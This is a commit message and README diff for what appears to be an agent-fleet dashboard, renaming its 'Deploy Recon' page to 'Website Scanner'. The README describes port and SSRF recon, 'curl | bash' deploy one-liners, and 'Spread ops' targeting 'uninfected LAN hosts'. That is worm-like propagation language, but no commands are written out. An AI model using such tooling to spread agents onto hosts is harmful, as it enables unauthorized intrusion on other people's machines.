Make Website Scanner discoverable in sidebar nav.

Deploy Recon was wired at /deploy-recon but buried at the bottom of a non-scrolling sidebar under an opaque label; move it after Crucible, rename to Website Scanner, enable nav scroll, and add route/nav smoke tests plus README.

README.md

@@ -199,6 +199,17 @@ Route **`/crucible`** — consolidated fleet ops for machines you own. **`/agent
 - **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
 - Real-time command output streamed back to the terminal
 
+### Website Scanner (Deploy Recon)
+
+Route **`/deploy-recon`** — sidebar **Website Scanner** (magnifying-glass icon). Legacy alias **`/browser-spread`** redirects here.
+
+- **Owned-target recon from the dashboard host** — TCP port matrix, shallow same-origin web crawl for upload/SSRF/CMS hints, tech stack banner grab
+- **Browser deploy one-liners** — copy-paste `curl | bash` install lines and SSRF canary probe URLs pinned to your session build
+- **Fleet discoveries** — merges agent subnet recon (WS) with manual `POST /api/v1/recon/scan` results for uninfected LAN hosts
+- **Crucible cross-link** — open Spread ops for a scanned host via `?reconHost=` on `/crucible`
+
+Run `.\scripts\test-suite.ps1 -Recon` for Go + Vitest + Playwright coverage.
+
 ### Matrix Digital Rain
 
 - Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain